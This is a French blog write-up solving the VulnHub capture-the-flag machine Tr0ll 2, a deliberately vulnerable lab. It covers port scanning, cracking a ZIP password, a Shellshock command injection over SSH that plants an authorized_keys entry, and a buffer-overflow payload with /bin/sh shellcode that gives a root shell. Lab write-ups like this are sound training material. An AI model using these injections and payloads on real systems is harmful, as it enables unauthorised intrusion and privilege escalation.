Accueil Solution du CTF Tr0ll #2 de VulnHub
Post
Annuler

Solution du CTF Tr0ll #2 de VulnHub

Le CTF Tr0ll: 2 était relativement facile pour peu que l’on se rappelle de cette fameuse vulnérabilité qui a défrayé la chronique à une époque…

1
2
3
4
5
6
7
8
9
10
11
12
13
Nmap scan report for 192.168.56.88
Host is up (0.00039s latency).
Not shown: 65532 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 2.0.8 or later
22/tcp open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 82fe93b8fb38a677b5a625786b35e2a8 (DSA)
|   2048 7da599b8fb6765c96486aa2cd6ca085d (RSA)
|_  256 91b86a45be41fdc814b502a0667c8c96 (ECDSA)
80/tcp open  http    Apache httpd 2.2.22 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.2.22 (Ubuntu)

Filtrage de trolls

Le site web ne retourne rien d’intressant mais on trouve un fichier robots.txt qui contient 21 d’entrées. Je les copie-colle dans un fichier que je passe à feroxbuster pour faire le tri :

1
2
3
4
301        9l       28w      322c http://192.168.56.88/ok_this_is_it
301        9l       28w      320c http://192.168.56.88/dont_bother
301        9l       28w      313c http://192.168.56.88/noob
301        9l       28w      320c http://192.168.56.88/keep_trying

Dans chacun de ces fichiers ont trouve une page d’index qui semble pointer vers une copie d’une même image mais en téléchargeant les différents fichiers on remarque que l’une est différente :

1
2
3
4
8e40e4bf4212b317788de52381072cd8  cat_the_troll1.jpg
f094e16de91dae231812a2fb382d8803  cat_the_troll2.jpg
8e40e4bf4212b317788de52381072cd8  cat_the_troll3.jpg
8e40e4bf4212b317788de52381072cd8  cat_the_troll4.jpg

A la fin du fichier on trouve le message suivant :

Look Deep within y0ur_self for the answer

Et quand on demande le dossier /y0ur_self au serveur web on y trouve un fichier answer.txt qui pèse juste 1.3Mo. Chaque ligne est encodée en base64 mais la commande base64 -d n’en fait qu’une bouchée.

On se retrouve alors à une wordlist qui semble correspondre à des mots anglais. Impossible de dire quoi en faire à ce stade.

On va donc fouiller un peu sur le serveur FTP mais ce n’est pas vraiment parlant….

1
2
3
4
$ ncat 192.168.56.88 21 -v
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Connected to 192.168.56.88:21.
220 Welcome to Tr0ll FTP... Only noobs stay for a while...

Finalement on parvient à se connecter avec les identifiants Tr0ll / Tr0ll. On y trouve une archize ZIP lmao.zip protégée par mot de passe.

Avec zip2john puis JohnTheRipper et la wordlist décodée on trouve le mot de passe ItCantReallyBeThisEasyRightLOL.

Une fois décompressée on obtient une clé privée SSH dans l’archive zip.

Avec le nom d’utilisateur noob l’authentification semble passer mais on est aussitôt éjecté :

1
2
3
$ ssh -o PubkeyAcceptedKeyTypes=ssh-rsa -i noob noob@192.168.56.88
TRY HARDER LOL!
Connection to 192.168.56.88 closed.

Spécifier une commande spécifique au serveur SSH ne donne pas plus de résultats. Ajouté à celà ni scp ni sftp ne sont disponibles.

J’ai regardé si d’autres ports étaient en écoute sur la machine en mettant en place un serveur SOCKS à travers le tunnel SSH :

1
$ ssh -D 1080 -N -o PubkeyAcceptedKeyTypes=ssh-rsa -i noob noob@192.168.56.88

Une fois proxychains configuré pour le proxy je peux scanner les ports internes avec Nmap :

1
2
3
4
5
6
7
8
9
$ ./proxychains4 -q nmap -sT -p- 127.0.0.1 
tarting Nmap 7.93 ( https://nmap.org ) at 2023-01-01 16:35 CET
Nmap scan report for localhost (127.0.0.1)
Host is up (0.00047s latency).
Not shown: 65531 closed tcp ports (conn-refused)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
80/tcp    open  http

Pas mieux donc…

Coquille Saint Jacques

Finalement en cherchant shellshock et ssh sur le web j’ai trouvé cette réponse qui semble parfaitement matcher notre situation :

bash - how can shellshock be exploited over SSH? - Unix & Linux Stack Exchange

Effectivement le serveur est bien vulnérable :

1
2
3
$ ssh -o PubkeyAcceptedKeyTypes=ssh-rsa -i noob noob@192.168.56.88 '() { :;}; echo MALICIOUS CODE'
MALICIOUS CODE
TRY HARDER LOL!

Et la config du CTF est bien celle décrite :

1
2
$ ssh -o PubkeyAcceptedKeyTypes=ssh-rsa -i noob noob@192.168.56.88 '() { :;}; cat .ssh/authorized_keys'
command="echo TRY HARDER LOL!" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwi2G/kLMyjm/rrcQymKVqy4EgUyJ+3Oyv7D5QV73IWECguqrINI+OuY+zIV49ykebBYR15HkBYi/9GYZmHRD5CHq9I+zCLHv/9Kdf9Ae+HQIaF/X/3PC0lIx6XLmgIY66MwuMNmOvK7U8rERPUJxSmLKWvaSAP9/LXVOHfcrCZyyCc+ir6kxsKHzojM0EResF2RgKfbbZ2MFqr6YSO9+ohdZBgGVncc1ngtW0b7mKf1u+RTnP7XeWxOkD2nHpghvKs8wwXNw6vE12lNjzqjPDTb4yYVph8zHKPYZst6PT6qeLArJ7lKwX540FEp2q9Ji2xUTXVLBCYXiKZ0k7Ru69 noob@Tr0ll2

De la même façon je peux rajouter une entrée au fichier authorized_keys qui n’a pas le préfixe command= et me connecter normalement.

Gonna pwnnnnnnnnnnnnnnnnnnnnnnnnnnn

A la racine du système on trouve un dossier nothing_to_see_here qui contient trois binaires setuid ayant le même nom :

1
2
3
4
5
6
7
8
9
10
11
/nothing_to_see_here/choose_wisely/door1:
total 8
-rwsr-xr-x 1 root root 7271 Oct  4  2014 r00t

/nothing_to_see_here/choose_wisely/door2:
total 8
-rwsr-xr-x 1 root root 7273 Oct  5  2014 r00t

/nothing_to_see_here/choose_wisely/door3:
total 12
-rwsr-xr-x 1 root root 8401 Oct  5  2014 r00t

Tous sont des programmes de petite taille. Cutter décompile le premier sous cette forme :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <stdint.h>
 
int32_t dbg_main (void) {
    int32_t argc;
    char ** argv;
    const char * src;
    char [256] buf;
    /* int main(int argc,char ** argv); */
    if (argc == 1) {
        eax = argv;
        edx = *(eax);
        eax = "Usage: %s input\n";
        src = edx;
        printf (eax);
        exit (0);
    }
    eax = argv;
    eax += 4;
    eax = *(eax);
    eax = &buf;
    strcpy (eax, *(eax));
    eax = 0x8048591;
    edx = &buf;
    src = edx;
    printf (eax);
    return eax;
}

Il est vulnérable à un buffer overflow :

1
2
3
4
noob@Tr0ll2:~$ /nothing_to_see_here/choose_wisely/door1/r00t `python -c 'print "A"*300'`
Segmentation fault
noob@Tr0ll2:~$ dmesg | tail -1
[ 9516.169849] r00t[6242]: segfault at 41414141 ip 41414141 sp bffffb50 error 14

Le second se décompile comme ceci :

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdint.h>

int32_t main (void) {
    puts ("Good job, stand by, executing root shell...");
    sleep (3);
    puts ("BUHAHAHA NOOB!");
    sleep (1);
    eax = fork ();
    if (eax == 0) {
        system ("/sbin/reboot");
    }
    return eax;
}

Et finalement le troisième :

1
2
3
4
5
6
7
8
9
10
11
12
#include <stdint.h>

int32_t main (void) {
    puts ("\n2 MINUTE HARD MODE LOL");
    eax = fork ();
    if (eax == 0) {
        system ("/bin/chmod 600 /bin/ls");
        sleep (0x78);
        system ("/bin/chmod 777 /bin/ls");
    }
    return eax;
}

Ce dernier est vulnérable car il rend /bin/ls word-writable or le programme est notamment appelé dans une table cron qui se lance tous les jours (cron.daily/apt). Voici un extrait du code :

1
2
3
4
5
6
7
8
9
10
11
12
13
    # check size
    if [ ! $MaxSize -eq 0 ]; then
        # maxSize is in MB
        MaxSize=$(($MaxSize*1024))

        #get current time
        now=$(date --date=$(date --iso-8601) +%s)
        MinAge=$(($MinAge*24*60*60))

        # reverse-sort by mtime
        for file in $(ls -rt $Cache/*.deb 2>/dev/null); do
            du=$(du -s $Cache)
            size=${du%%/*}

Vu qu’il s’agit de la tache qui gère le cache APT il est possible que certaines conditions doivent être réunies pour entrer dans cette section du code.

On pourrait s’attendre que les binaires qui appellent system() soit vulnérables à Shellshock mais ça ne semble pourtant pas être le cas.

L’exploitation du buffer overflow est en tout point similaire à celui du CTF Underdist #3 avec les mêmes conditions donc je n’entrerais pas dans les détails : il y a juste le nombre d’octets avant l’adresse de retour et l’adresse de retour à changer.

Rendez-vous sur l’autre writeup pour les détails de l’exploitation.

1
2
3
4
5
6
7
8
9
10
noob@Tr0ll2:~$ /nothing_to_see_here/choose_wisely/door1/r00t `python -c 'print "A"*268 + "\x55\xea\xe2\xb7" + "\x6a\x17\x58\x31\xdb\xcd\x80\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"'`
# id
uid=0(root) gid=1002(noob) groups=0(root),1002(noob)
# cd /root
# ls
Proof.txt  core1  core2  core3  core4  goal  hardmode  lmao.zip  ran_dir.py  reboot
# cat Proof.txt
You win this time young Jedi...

a70354f0258dcc00292c72aab3c8b1e4

Sous le capot

Le CTF a un script qui change au démarrage quel binaire setuid root fait telle ou telle tache :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/bin/env python
import random
import shutil
import os

source1 = "/root/core1/"
source2 = "/root/core2/"
source3 = "/root/core3/"
source4 = "/root/core4/"

dest= "/nothing_to_see_here/choose_wisely/"

lottery = random.randrange(1,5)

def choice():
        if lottery == 1:
                os.system("rm -r /nothing_to_see_here/*")
                shutil.copytree(source1, dest, symlinks = False, ignore = None)
        elif lottery == 2:
                os.system("rm -r /nothing_to_see_here/*")
                shutil.copytree(source2, dest, symlinks = False, ignore = None)
        elif lottery == 3:
                os.system("rm -r /nothing_to_see_here/*")
                shutil.copytree(source3, dest, symlinks = False, ignore = None)
        elif lottery == 4:
                os.system("rm -r /nothing_to_see_here/*")
                shutil.copytree(source4, dest, symlinks = False, ignore = None)
choice()
os.system("chmod -R u+s /nothing_to_see_here")

Publié le 1er janvier 2023

Cet article est sous licence CC BY 4.0 par l'auteur.